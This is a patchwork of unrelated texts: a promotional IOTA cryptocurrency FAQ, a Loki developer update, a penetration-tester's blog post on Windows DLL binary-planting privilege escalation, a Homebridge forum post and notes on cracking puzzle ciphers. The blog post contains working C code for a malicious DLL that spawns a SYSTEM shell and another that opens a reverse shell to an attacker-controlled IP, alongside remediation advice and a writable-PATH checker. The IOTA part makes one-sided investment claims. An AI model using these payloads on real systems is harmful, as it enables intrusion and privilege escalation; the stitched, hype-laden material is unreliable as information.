IOTA is disrupting the disrupters. It invented a completely new distributed ledger infrastructure (the tangle) that replaces the blockchain and solves all of its fundamental problems (namely fees and scaling). To give you an idea of this significance, 99% of the cryptocurrencies that exist are built on a block chain. These projects have billions of dollars invested into them meaning everyone in their communities are incentivized to see IOTA fail and spread as much FUD about it as possible. This includes well known organizations, public figures, and brands. Everyone commenting in these subreddits and crypto communities have their own personal money at stake and skin in the game. Misinformation campaigns, paid reddit posters, upvote/downvote bots, and corrupt moderators are all very real in this space.

INVESTING

How do I buy IOTA

https://medium.com/@fuo213/how-to-buy-iota-the-complete-guide-for-crypto-dummies-e63560caf921

What is the IOTA foundation?

IOTA foundation is a non-profit established in Germany and recognized by the European Union. Blog post here: https://blog.iota.org/iota-foundation-fb61937c9a7e

How many companies and organizations are interested, partnered or actively using IOTA?

A lot, and often too many to keep up with.
https://reddit.com/Iota/comments/7f3dmx/list_of_known_iota_partnerships_corporate/

How was IOTA distributed?

All IOTAs that will ever exist were sold at the ICO in 2015. There was no % reserved for development. Devs had to buy in with their personal money. Community donated back 5% of all IOTA so the IOTA foundation could be setup.

No inflation schedule? No additional coins? How is this sustainable?

Interestingly enough, IOTA is actually the only crypto that does not run into any problems with a currency cap and deflationaryism. Because there are zero fees, you will always be able to pay for something for exactly what it's worth using IOTA, no matter how small the value. If by chance in the future a single iota grows so large in value that it no longer allows someone to pay for something in fractions of a penny, the foundation would just add decimal points allowing for a tenth or a hundreth or a thousandth of an iota to be transacted with.
To give you some perspective, if a single IOTA equals 1 penny, IOTA would have a 27 trillion dollar market cap (100x that of Bitcoin's today)

IOTA is not for P2P, only for M2M

With the release of the trinity wallet, it's now dead simple for anyone to use IOTA funds for P2P. Try it out.

Companies technically don’t have to use the IOTA token

Yes they do
Worth clarifying that 0 iota data transactions are perfectly fine and are welcomed since they still provide pow for 2 other transactions and help secure the network. In the early stages, these types of transactions will probably be what give us the tps/pow needed to remove the coordinator and allow the network defend 34% attacks organically.
But... if someone does not want to sell or exchange their data for free (0 IOTA transaction), then Dominic is saying that the IOTA token must be used for that or any exchange in value on the network.
This is inherently healthy for the ecosystem since it provides a neutral and non-profit middle ground that all parties/companies can trust. If one company made their own token it wouldn’t be trusted since companies are incentivized by profits and nothing is stopping them from manipulating their token to make them more money. Thus, the IOTA foundation will not partner with anyone who refuses to take this option off the table.

All these companies are going to influence IOTA development!!

These companies have no influence on the development of IOTA. They either choose to use it or they don’t.

Internet of things is cheap and will stay cheap

Internet of things is one application of IOTA and considered by many to be the 4th industrial revolution. Go do some googling. IOTA having zero fees enables M2M for the first time in history. Also, if a crypto can do M2M it sure as shit can do M2P and P2P. M2M is hard mode.

IOTA surpassing speculation

IOTA, through the data marketplace and [qubic](qubic.iota.org), will be the first crypto to surpass speculation and actually be used in the real world for something. From there, it will branch out into other use cases, such as P2P. Or maybe P2P use of IOTA will grow in parallel with M2M, because why not?
https://blog.iota.org/iota-data-marketplace-cb6be463ac7f
12/19/17 update: Bosch reinforces IOTA's break-out from speculation by buying IOTA tokens for its future use in the data marketplace. https://i.redd.it/8e5b8bi9ov401.png
http://www.bosch-presse.de/pressportal/de/en/robert-bosch-venture-capital-makes-first-investment-in-distributed-ledger-technology-137411.html

Investing in a new project barely off the ground

Investing in a project in its early stages was something typically reserved for wealthy individuals/organizations before ICO’s became a thing. With early investing comes much less hand holding and more responsibility on the user to know what they are doing. If you have a hard time accepting this responsibility, don’t invest and wait for the technology to get easier for you. How many people actually knew how to use and mine bitcoin in 2009 before it had all its gui infrastructure?
IOTA is a tangle, the first of its kind. NOT a copy paste blockchain. As a result wallets and applications for IOTA are the first of their kind and translating the tangle into a nice clean user-friendly blockchain experience for the masses is even more taxing.

Why is the price of my coin falling?!

This may be the most asked question on any crypto subreddit but it's also the easiest to explain. The price typically falls when bad things happen to a coin or media fabricates bad news about a coin and a portion of investors take it seriously. The price increases when good things happen to a coin, such as a new exchange listing or a partnership announced etc.. The one piece that is often forgotten but trumps all these effects is something called "market forces".
Market forces is what happens to your coin when another coin gets a big news hit or a group of other coins get big news hits together. For example, when IOTA data marketplace released, IOTA hit a x5 bull run in a single week. But did you notice all the other alt coins in the red? There are a LOT of traders that are looking at the space as a whole and looking to get in on ANY bull action and will sell their other coins to do so. This effect can also be compounded over a long period of time such as what we witnessed when the bitcoin fork FOMO was going on and alt coins were squeezed continuously to feed it for weeks/months.
These examples really just scratch the surface of market forces but the big takeaway is that your coin or any coin will most certainly fall (or rise) in price at the result of what other coins are doing, with the most well known example being bitcoin’s correlation to every coin on the market. If you don't want to play the market-force game or don't have time for it, then you can never go wrong buying and holding.
It's also important to note that there are layers of investors. There's a top layer of light-stepping investors that are a mixture of day traders and gamblers trying to jump in and jump out to make quick money then look for the next buying (or shorting) opportunity at another coin. There's a middle layer of buyers and holders who did their research, believe in the tech and placing their bets it will win out in the long run. And the bottom layer are the founders and devs that are in it till the bitter end and there to see the vision realized. When a coin goes on a bull run, always expect that any day the top layer is going to pack up and leave to the next coin. But the long game is all about that middle layer. That is the layer that will be giving the bear markets their price-drop resistance. That is why the meme "HODL" is so effective because it very elegantly simplifies this whole concept for the common joe and makes them a part of that middle layer regardless if they understand whats going on or not.

TECHNICAL

How is IOTA free and how does it scale

IOTA is an altruistic system. Proof of work is done in IOTA just like bitcoin. Only a user’s device/phone must do pow for 2 other transactions before issuing one of its own. Therefore no miners and no fees. And the network becomes faster the more transactions are posted. Because of this, spamming the network is encouraged since they provide pow for 2 other transactions and speed up the network.

IOTA is centralized

IOTA is more decentralized than any blockchain crypto that relies on 5 pools of miners, all largely based in China. Furthermore, the coordinator is not a server in the dev’s basement that secretly processes all the transactions. It’s several nodes all around the globe that add milestone transactions to show the direction of the IF’s tangle within the DAG so people don’t accidentally follow a fork from a malicious actor. Anyone with the know-how can fork the tangle right now with a double-spend. But no one would follow their fork because the coordinator reveals which tangle is the legit IF one. If the coordinator wasn’t there (assuming low honest-transaction volume), there would be no way to discern which path to follow especially after the tangle diverges into forks of forks. Once throughout of honest transactions is significant enough, the “honest tangle” will replace the coordinated one and people will know which one to follow simply because it’s the biggest one in the room.
Referencing the coordinator is also optional.
Also, if you research and understand how IOTA intends to work without the coordinator, it’s easier to accept it for now as training wheels. I suggest reading pg 15 and on of the white paper analyzing in great depth how the network will defend different attack scenarios without a coordinator. For the past several months, IOTA foundation has been using St Petersburg college’s super computer to stress test IOTA and learn when they can turn the coordinator off. There will likely be a blog about the results soon.
This is another great read covering double spends on IOTA without a coordinator: www.tangleblog.com/2017/07/10/is-double-spending-possible-with-iota/
This too: http://www.reddit.com/Iota/comments/7eix4a/any_iota_guru_that_can_explain_what_this_guy_is/dq5ijrm
Also this correspondence with Vitalik and Come_from_Beyond https://twitter.com/DavidSonstebo/status/932510087301779456
At the end of the day, outstanding claims require outstanding evidence and folks approaching IOTA with a “I’ll believe it when I see it” attitude is completely understandable. It’s all about your risk tolerance.

Can IOTA defend double spend attacks?

99% of these “but did they think about double spend attacks?” type questions could just be answered if people went and did their own research. Yes of course they thought about that. That’s like crypto101…

IOTA is not private!

Masked authenticated messages exist right now so data can be transferred privately. Very important for businesses.

Coin privacy

Centralized coin mixer is out that foundation runs. Logs are kept so they can collect data and improve it Folks can copy the coin mixer code and run it themselves. Goal is for mixer to be decentralized and ran by any node.

How do nodes scale? How on earth can all that data be stored?

Full nodes store, update and verify from the last snapshot, which happens roughly every month. Its on the roadmap to make snapshotting automatic and up to each full node’s discretion.With automatic snapshots, each full node will act as a partial perma-node and choose when to snapshot its tangle data. If someone wants to keep their tangle data for several months or even years, they could just choose not to snapshot. Or if they are limited on hard drive space, they could snapshot every week.
Perma-nodes would store the entire history of the tangle from the genesis. These are optional and would likely only be created by companies who wish to sell historical access of the tangle as a service or companies who heavily use the tangle for their own data and want to have quick, convenient access to their data’s history.
Swarm nodes are also in development which will ease the burden on full nodes. https://blog.iota.org/iota-development-roadmap-74741f37ed01

Weekly Dev Update 01/07/2019

Hey Y’all,

A big Dev Update this week – especially for Loki Core with lots of pull requests needing to be merged as we work towards a final release. Last week we released the Loki Core 4.0.0 Hefty Heimdall testnet binaries, and the Loki Storage Server 1.0.0 binaries. We also released a new version of the Loki Launcher to tie everything together.
We would love it if everyone could jump onto testnet and run some Service Nodes using the Loki Launcher in the next few weeks – you’ll be able to store messages for Loki Messenger for the first time! Bug reports are welcome! Please send them to their respective repositories on GitHub.

Loki Core
---------------------------
Loki Launcher
The Loki Launcher is a node JS package that will allow for the independent management of all the components required to run a full Service Node. This includes managing Lokinet, lokid and the Loki Storage Server. When Loki Service Nodes begin to route data and store messages for Lokinet and Loki Messenger, the Loki Launcher will need to be run on every single Service Node.
The Launcher is currently in a testing phase, so you should only use it on testnet and stagenet – feedback/issues and pull requests would be greatly appreciated though!
What’s going on this week with Loki Launcher:
This week we got Loki Launcher ready to work for testnet binaries. This involved slightly adjusting the way Loki Launcher works, particularly how it downloads new Loki software.
Changelog:
Github Pulse: Excluding merges, 2 authors have pushed 38 commits to master and 38 commits to all branches. On master, 16 files have changed and there have been 607 additions and 367 deletions.
---------------------------
Lokinet
If you’re on our Discord you might catch Jeff or Ryan, the developers of LLARP, live streaming as they code: https://www.twitch.tv/uguu25519, https://www.twitch.tv/neuroscr.
What’s going on this week with Lokinet:
As part of our reliability work, we added more metrics and continued working on our path build failure messages, while cleaning up various things along the way. We also made sure the files Lokinet creates are of the correct permissions to avoid leaking any keys.

A few binary plating 0-days for Windows

A few binary plating 0-days for Windows
A long time ago, while we were thinking about a way to escalate privileges during a pen-test, we discovered that most Windows installations were vulnerable to binary planting. We contacted Microsoft, but they claimed that it was not a product vulnerability since security had been weakened by 3rd party applications that allowed overly permissive file access. On the one hand this was correct, but on the other, those 3rd party applications (the publishers of which were also notified) were not the only ones to blame as the insecure DLL search path is definitively part of the operating system and tries to load another DLL from Microsoft which does not exist.
Anyway, sometime later I continued the research and start developing a tool in order to help detect similar vulnerabilities and exploit them. However, days are too short and I never managed to take the time to finish it. So, I decided to publish the few 0-days I still have on Windows in order to help other pen-testers while they still work.

TL;DR

The initial vulnerability that we discovered in October 2012 was related to the “Internet Key Exchange and Authenticated Internet Protocol Keying Modules”. Those modules are used for authentication and key exchange in Internet Protocol security. The problem was that they try to load a DLL which doesn’t exist. This leaves the operating system vulnerable to various binary planting opportunities that depend on the PATH environment variable.
In fact, the “IKE and AuthIP IPsec Keying Modules” service is started automatically under the “Local System” account and points to “svchost -k netsvcs” which then loads “IKEEXT.DLL”, which in turn attempts to call the missing “wlbsctrl.dll” file by looking in the following directories: the loading directory, %WINDIR%\System32, %WINDIR%\System, %WINDIR%, the current working directory, and %PATH%. If one of the folders from the PATH environment variable is writable, then any authenticated user can plant a nasty DLL file which will be executed as SYSTEM during the next reboot.
This binary planting can be exploited when a program gives too much access (e.g. Create Files / Write Data privilege for anybody) on a local subfolder that is ultimately added to the PATH environment variable. Such a problem is very frequent with the root folder since access permissions for files and subfolders are inherited from the parent directory when a directory is created in “C:\”. Members of the “Authenticated Users” group have the “Create Folders / Append Data” right on all directories created within the root folder, which may then offer an enticing privilege escalation vector. So, any member of the “Authenticated Users” group can escalate his privileges to “SYSTEM” when an application that does not restrict write access to its folder is installed and gets added to the system PATH environment variable. Something which occurs quite frequently. Additionally, many developers and sysadmins also modify the PATH manually to facilitate their daily duties or migration phases. This too will often permit an attacker to trigger the vulnerability.
From Microsoft’s point of view, the 3rd party vendors are to blame because the vendor’s installer didn’t remove the write permission on their application directory before adding it to the PATH. From the perspective of 3rd party vendors, Microsoft is to blame because Windows tries to search for another Microsoft DLL which doesn’t exist. While, in a sense, both are right, it is the end user who ultimately pays the price. Because neither Microsoft nor the 3rd party developers assumed their own responsibilities, Windows users stayed exposed for many years.
Others have since done a great job of automating the exploitation of the vulnerability, e.g.: “itm4n” created a PowerShell script to trigger the vulnerability by opening a dummy VPN connection with “rasdial” to force the vulnerable service to start. There is also a “ikeext_service” module in MSF thanks to “Meatballs”, which permits one to leverage an insecure path to plant your favorite Meterpreter.
Today the automated trigger is still far from being guaranteed and it often requires a reboot in order to load our malicious DLL as SYSTEM. This presents no issue for a Black Hat, but is quite limiting for a Red Team. So, the time had come to find other binary planting opportunities… This is why I started the Inseminator project, the goals of which were to:
  • Identify writable directories from the path.
  • Enumerate binaries involved by services which start as NT AUTHORITY\SYSTEM.
  • Generate a list of DLLs loaded by those services.
  • Parse those DLLs to identity other loading of DLLs and update the list accordingly.
  • Check if each of the DLLs in the list exists in a system directory.
  • Automate the exploitation by planting an arbitrary DLL in the right place with the right name and offering several payload opportunities.
Unfortunately, this project was put on stand-by for a long time and I couldn’t find the time to finish it. I will therefore publish today some raw findings.
Inseminator's output sample

0-day

The most interesting binary planting opportunities are the ones which are related to system services, since they permit escalation to the highest level of privileges on the target. To identify them, I simply used a logger for the payload and created a bunch of testing DLLs with a command like this one:
for /F "tokens=*" %A in (BinaryPlantingList.txt) do copy poc.dll.logger64 c:\Python27\%A 
It turns out that:
  • Upon startup the “svchost.exe” is executed with the “utcsvc” service group, which starts a single service called “DiagTrack” (i.e., the “Diagnostics Tracking Service”) by loading “C:\WINDOWS\system32\diagtrack.dll”. This library tries to load the missing DLL “diagtrack_wininternal.dll” several times per day.
  • The “diagtrack.dll” also tries to run the missing “WindowsPerformanceRecorderControl” and “diagtrack_win.dll” libraries from time to time (but less often than “diagtrack_wininternal.dll”).
  • The library “diagtrack_win.dll” is also called by the “Microsoft Compatibility Appraiser” system task, which is scheduled to run “C:\Windows\System32\CompatTel\diagtrackrunner.exe” at 3am by default (and runs whether a user is logged on or not).
  • The library “WindowsPerformanceRecorderControl.dll” is also invoked from time to time by other libraries, like from “C:\Windows\system32\TelLib.dll” or through the debugger engine with a call from “dbgeng.dll”.
The “Diagnostics Tracking Service” was initially pushed as an optional Windows 8.1 update (KB3022345) to collect personal data and send it back to Microsoft. However, these days this service is not really an option and is used by Microsoft to collect data about functional issues in most versions of Windows. So, it is maybe its fate to ultimately permit arbitrary code execution. This is yet another reason for end-users to not like this tracker. Moreover, it’s likely possible to trigger the call on demand by generating an error, since logs are collected when a functional problem is detected.
There is also some other insecure DLL loading brought by 3rd party applications. I, for example, have already witnessed McAfee VirusScan Enterprise engine trying to load a missing “mfebopa.dll”. A DLL which was initially intended to provide a behavioral “buffer overflow” protection, but in this case offered a substantial privilege escalation opportunity.
Tracking high-privileges libraries calls with DLL-based loggers
There are also some less interesting binary planting opportunities which still permit the loading of arbitrary libraries, but in the context of the current user. A vulnerability that is not as useful from a local privilege escalation perspective, but which may still open some doors on shared systems and kiosks. Firefox, for example, often tries to load the missing “dcomp.dll” library, and the ClickShare wireless presentation system from Barco always tries to load the Microsoft Direct3D library “d3d8.dll” which is not always present when users plug in the projector’s USB dongle.

Exploitation

Many 3rd party applications do contain a writable sub-folder which is part of the PATH environment variable. For example, I identified issues with Roxio, HP Digital Imaging, ACER eDataSecurity, Micros Systems OPERA, OpenView OmniBack, Novel Groupwise, IBM AppScan, Python, Perl, Ruby, TCL, PHP, MySQL, Zend, and many others. As a rule of thumb, development tools often permit an attacker to leverage these vulnerabilities.
In practice, the easiest way to get local admin rights on many Windows systems is to simply put your favorite DLL in a writable folder that is part of the %PATH% and give it the name of one of those missing system libraries. You then just need to wait and your code will be executed several times by the end of the day as NT AUTHORITY\SYSTEM (even if it’s a production server which is never rebooted).
The DLL will be executed by a system service and will therefore run in session 0, which is non-interactive. Since Vista, services are isolated that way to protect them from malicious code running in a user’s session (starting from session ID 1). However, this does not really present a problem to our exploit. If our payload tries to interact with the desktop (for example, by running a CMD), the “Interactive Services Detection” service will draw a blinking button on the taskbar and prompt the user to “view the message” and enjoy our code in the desktop from session 0. The “UI0Detect.exe” binary invoked by “Interactive Services Detection” has now been removed from Windows 10 v1803 and Windows Server 2019, but those OSes are not our targets here.
The Interactive Services Detection kindly permits us to interact with our payload running in session 0
Our planted DLL is running with the highest level of privileges
When we have our SYSTEM shell in session 0, we can then easily get another shell in the usual session 1, for example, with PSEXEC:
psexec -s -i 1 -d cmd.exe 
We can then close our original shell and return to the standard user desktop to keep enjoying a SYSTEM shell.
After removing the DLL calls monitoring, here is what’s left in the payload. This quick and dirty code will permit you to compile a DLL that runs a local shell when it gets loaded:
// Compiled with mingw64 in Codeblocks // Static compilation: -static-libgcc -static-libstdc++ // 64 bits compilation: -march=x86-64 -m64 // Linker options: --static -lwsock32 -lws2_32 #include "main.h" #include  extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: STARTUPINFO si; PROCESS_INFORMATION pi; memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); DWORD creationFlags; si.cb=sizeof(STARTUPINFO); si.lpDesktop="winsta0\\default"; creationFlags=CREATE_NEW_CONSOLE; creationFlags|=CREATE_NEW_PROCESS_GROUP; creationFlags|=CREATE_BREAKAWAY_FROM_JOB; CreateProcess("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, FALSE, creationFlags, NULL, NULL, &si, &pi) ; break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } 
Obviously, we might prefer opening a shell on a remote system instead of the local target, thus avoiding local interactions with the desktop in session 0.
I advise against directly using a reverse Meterpreter, since it would be caught by any AV. A preferred way is to simply open a socket and spawn a reverse shell to an attacker-controlled system, and then to play with Mimikatz or Meterpreter injection in a second phase. Here is another quick and dirty code example which does just that:
// Compiled with mingw64 in Codeblocks // Static compilation: -static-libgcc -static-libstdc++ // Compiler options: -march=x86 [for 32 bits] or -march=x86-64 -m64 [for 64 bits] // Other compiler option: -Wno-write-strings // Linker options: --static -lwsock32 -lws2_32 #include  #include  #include  // Set you remote handler here: #define IPADDR "192.168.19.128" #define PORT 443 using namespace std; SOCKET sock; int getSocket() { SOCKET sock; SOCKADDR_IN sin; sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); sin.sin_addr.s_addr = inet_addr(IPADDR); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); connect(sock, (SOCKADDR *)&sin, sizeof(sin)); return sock; } std::string InitMe() { sock = getSocket() ; STARTUPINFO siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); siStartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; siStartupInfo.hStdInput = (HANDLE)sock; siStartupInfo.hStdOutput = (HANDLE)sock; siStartupInfo.hStdError = (HANDLE)sock; CreateProcess(0, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &siStartupInfo, &piProcessInfo); //WaitForSingleObject(piProcessInfo.hProcess, INFINITE); return "TRUE"; } extern "C" __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: WSADATA WSAData; WSAStartup(MAKEWORD(2,0), &WSAData); InitMe(); break; case DLL_PROCESS_DETACH: break; } return TRUE; } 

Remediation

Be careful about your %PATH%! Pay attention to 3rd party applications which may silently add a writable directory to this environment variable (especially if they install on the root drive), and don’t make the same mistake yourself.
Here is another quick and dirty piece of code in Python 2 to help you identify writable folders in your %PATH%, where any missing DLL could be planted by a bad guy:
import os import sys sysPath = "path" filetest = "\\inseminator.wperm" def is_writable(path): # Checking Write Permission try: filehandle = open(path, 'w') filehandle.close() os.remove(path) return True except IOError: return False print("[+] Searching for writable folders within %PATH%") try: require = os.environ[sysPath] except KeyError: sys.exit(" [-] Unrecoverable error: %" + sysPath.upper() + "% variable is not defined!") dicPath = os.environ[sysPath].split(";") WritablePath = [] for item in dicPath: if item: if is_writable(item + filetest): print " [-] Directory '" + item + "' is writable" WritablePath.append(item) 
If any writable directory is found, you should either remove it from the %PATH% or harden ACLs to ensure authenticated users (and any other untrusted accounts) are unable to write inside.
It is also advised to create some dummy DLL files in %WINDIR%, since this directory has a higher priority than PATH folders but is only queried if the searched libraries are not present in either the loading directory or %WINDIR%\System32 and %WINDIR%\System. At a bare minimum, it is advised to create those fake libraries if they do not exist on your system:
  • diagtrack_wininternal.dll
  • windowsperformancerecordercontrol.dll
  • diagtrack_win.dll
  • wlbsctrl.dll
To a lesser extent, it is also advised to create these dummy libraries:
  • mfebopa.dll
  • dcomp.dll
  • d3d8.dll
That’s all for today. Happy planting!

Discussion: Homebridge Guide? Lessons and Alternatives...

Facing the task of rebuilding my homebridge from scratch due to my own stupidity, I was curious if people here know of a good homebridge setup guide.
Obviously, there's no "one best way" to setup homebridge (which is a good thing!), but maybe we can discuss how people have done it here and how you would've done it differently.
It'll start:
My homebridge adventure started by trying to spin up a "raspberry pi/lightweight" optimized linux ISO as a VM (I have a multi-functional server I leave running for stuff like this) but after several attempts to get it running, I gave up and just decided to spin up an vanilla Ubuntu Server (v17) ISO and use that as a base. Why Ubuntu? That was the last distro that was "popular" the last time I really dealt with anything linux. Plus, with it's debian roots, I knew the package management was better (correct me if I'm wrong). Also I think it already had node pre-installed which made installing homebridge a little easier (but it also caused issues later on).
My plugins (which I added only one at a time, over a period of a year) were:
  1. homebridge-camera-ffmpeg: this was tricky as it required ffmpeg to get installed and I ran into some issues with all the dependencies for it. but eventually I got it working and hooked it into my ancient foscam 8910w's.
  2. homebridge-harmonyhub: I ran out and bought a harmony hub so that I could control my home theatre via siri. This was also tricky and required me to create a bunch of harmony activities that I can trigger with siri since a harmony activity = homekit switch. Some convoluted workarounds, and I had Siri turning up and down the volume and turning on the devices.
  3. Panasonic TV and Pioneer AV Reciever plugins: these were simple plugins that allowed me to turn OFF (not on) the TV and to turn on/off the reciever.
  4. SSH Switch: I setup an switch to run SSH commands on my router to turn on/off VPNs. This allowed me to say "hey siri, turn on/off US VPN". Handy when I needed to view geo-locked content.
  5. ecobee-sensors: This was a little more complicated setup and required some manual steps to add an API link to my Ecobee account. BUt this was handy to surface the ecobee sensors as occupancy sensors and trigger some light switch automations, and to surface the individual temperatures throughout the house
  6. Dummy switches: used to automate geofence smart locks without requiring the additional automation prompt.
  7. Dafang Camera: this is the one that did me in. I had the cheap dafang camera "working" but had some issues getting a reliable stream so after some mucking about, I completely hosed my homebridge setup. Probably due to upgrading ffmpeg and/or installing mongodb.
Lessons:
Alternatives:
TL;DR: So are there some homebridge setups that are way out in left field? Share your experiences and what you would have done differently.

More info but nothing new solved

So I'm gonna dump some info I have gathered one more time. Nothing too cool. I hope you find it useful and maybe this helps to decrypt some of the messages! For now, it's all been failure on my end!

- Analysis of a plain english text encoded in base32 against the long message:
>>>>>>>>>>>>>>>>>>PLAIN ENGLISH ENCODED LEN -> 653 IC -> 0.0369 ###################################### D -> 38 (12.14) 3 -> 38 (12.14) H -> 36 (11.50) X -> 32 (10.22) R -> 30 (9.58) P -> 29 (9.27) 8 -> 29 (9.27) M -> 27 (8.63) F -> 27 (8.63) 9 -> 27 (8.63) ###################################### W7 -> 15 (16.48) D3 -> 11 (12.09) PM -> 11 (12.09) 3R -> 11 (12.09) BX -> 8 (8.79) C8 -> 7 (7.69) X3 -> 7 (7.69) RA -> 7 (7.69) HK -> 7 (7.69) E3 -> 7 (7.69) ###################################### 3RA -> 6 (13.33) X3R -> 5 (11.11) 3RK -> 5 (11.11) 9BX -> 5 (11.11) KM3 -> 4 (8.89) 3DE -> 4 (8.89) W7Z -> 4 (8.89) 8W7 -> 4 (8.89) 7ZH -> 4 (8.89) XE3 -> 4 (8.89) <<<<<<<<<<<<<<<<< - The first message has only 32 different characters (23456789ABCDEFGHJKLMNPQRSTUVWXYZ) in a message that is 695 chars long which suggest some sort of Base32 encoding
- The second message has 13 words of 13 letters with a charset of 36 (if we count the space) different characters.
Some of the characters here are not present in the first message (012345689ABCDEFGHIJKLMNOPQRSTUVWXYZ)

> https://www.lawofone.info/
+ How to attack this:
- One way the first message could be encrypted is by using a custom base32 alphabet
Steppos:
  1. Set a randomly sorted base32 alphabet
  2. Decrypt the encrypted message using it
  3. Check the fitness of the result
  4. Modify the alphabet
Seems straight forward. You can't check all alphabet permutations because 32! = 263130836933693530167218012160000000
What do then?
- Define transformations of the alphabet like swapping elements, sliding pieces of the alphabet, shuffle chunks,...
- Swap failing characters in the alphabet (those that decrypt to non-printable characters)
- Define a fitness function that depends on the english frequencies of bigrams, trigrams or quadgrams. Or maybe one based on the printability of the output
- If we assume that most of the characters are in the range A-Za-z then we can set a rule:
Let us analyze the first character of the string: V
V can be any number from 0 to 31... or can it? See, if we assume that the first character is a letter (which may not be the case if the original text is shuffled before the encryption), and also a capital letter (maybe it's the "T" from "To help ..."), then we have a couple of restrictions on what V can be. Ascii uppercase letters have values ranging from 0x41 (01000001) to 0x5a (01011010) so V's value must be 01---.
The catch here is the space character (' ' 0x20 00100000) which doesn't start with 01 and can be frequent in the text. Other punctuation symbols have similar issues.

past.meeting/html
- My best guess here is that this seemingly random chunk of html is to be hashed and a key generated from that, or used as-is as some sort of encryption key.
- Source of the chunk -> https://web.archive.org/web/20060402193231/http://dizzygoo.com/

Scout_Cub
- The easy solution that seems to be to easy to be a solution -> THEJUNGLEBOOK
- Notice it's 13 characters long (can this be used with other 13-char long strings that are present throughout the subreddit?)
- Tried to use this as an OTP key for the water_swift with no luck using either the numbers or the letters (I think I did this, but give it a try just in case I didn't do it or did it wrong)

barnside_downside
- A mime with a broom. It might not be an original image but, if it isn't, I haven't been able to locate the original.
- Outguess returns that no bits are available when attempting to decrypt. This seems weird, but I don't know if it means something
- Most of the pictures seem to be related with other ARGs/internet mysteries/creepypastas
- On the side of the right shack, we can see on the roof a strange drawing and XY
+ How to attack this:
- It might have some hidden info so you can check steganography software like outguess and attempt to recover the hidden information bruteforcing the key with a list of words. Since we don't know wether there is information hidden (or even if reddit compresses the images when uploading them, which would kill any chance of hiding stuff in it), this might lead to nothing.

squared_squared
- Charset (57): 03456789BCDEFGHIJKLMNOPQRSTUVWXZabcdefghijklmnopqrsuvwxyz
- 13 characters per string, 13 strings
- This could be a table of keys.
+ How to attack?
- No idea. So start with the basics:
- Frequency analysis:
 ('0', 9), ('r', 8), ('b', 7), ('q', 6), ('m', 5), ('H', 5), ('J', 5), ('9', 5), ('8', 4), ('g', 4), ('a', 4), ('N', 4), ('x', 4), ('F', 4), ('V', 4), ('h', 3), ('j', 3), ('E', 3), ('S', 3), ('e', 3), ('O', 3), ('v', 3), ('C', 3), ('f', 3), ('z', 3), ('7', 3), ('n', 3), ('o', 3), ('X', 3), ('W', 3), ('d', 2), ('K', 2), ('Z', 2), ('k', 2), ('B', 2), ('G', 2), ('s', 2), ('y', 2), ('Q', 2), ('c', 2), ('T', 2), ('5', 2), ('p', 2), ('i', 2), ('R', 2), ('l', 2), ('3', 2), ('I', 2), ('L', 2), ('P', 1), ('D', 1), ('U', 1), ('w', 1), ('4', 1), ('6', 1), ('u', 1), ('M', 1) 
- A similar analysis as with the Paige12 post can be done.
target_manners_quiz
- Charset (31): 01245679ABCDEFGIJKMNOPQRSUVWXYZ
- The fact that it's 31 different characters may come from the fact that the message is not very long or it may be that there are only 31 characters in the alphabet.
- It's likely that the top message uses the same alphabet
- In the top message not all words are the same length (13 - 6 - 12 - 6 - 13)

random_chance/fate
- Another chunk of html.
- A similar one -> https://codepen.io/Keyy/pen/GmdWwX.html
- Might be an old implementation of some sort of MM Chat -> https://www.cvedetails.com/vulnerability-list/vendor_id-8299/year-2008/Mm-Chat.html
- 859 chars long

water_swift
- 13 hexadecimal character
- This could be a One Time Pad (OTP). In this case what you do is you take a string that is also 13 chars long and xor each character with a 13 char long key. To decrypt, xor the encrypted result with the key.
+ How to attack:
- Take all 13 char long strings and xor them against this.
- The problem with OTP is that unless you know the key, you can make the text say anything you want by decrypting it with the right key:
>> Let's assume I want this to be THEJUNGLEBOOK. What I need to do is xor each character of the string with the encrypted message. That gives me c1 db ea 0c c3 71 22 83 a2 7d 61 79 4d. I can now use this to xor the encrypted message and get THEJUNGLEBOOK as plaintext

- A c program which outputs something like this:
1313 >> 20 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 
- >> indicates the input I gave it
- This could be used to sort some of the characters in the encrypted messages.
- The encryption could be just writing the characters in order and then take them out in columns. For example:
- We want to encrypt ATTACKATDAWN
- We lay the text according to this pyramid
 A TT ACK ATDA WN 
- Extract the text by columns -> ATAAWTCTWKDA
- To decrypt, just lay the text in columns and enjoy. Combine this with some sort of substitution to reduce your sanity levels!
- A python implementation:
def main(): n, i, c, a = (1, 1, 1, 1) print('1313') # Will break if a string is input n = int(input()) # Since python's range goes [1,n) we need to increase n by 1 # we need to add one to the top limit for i in range(1, n+1): for c in range(1, i+1): print('%d ' % a, end='') a += 1 print() return 0 
missing_param
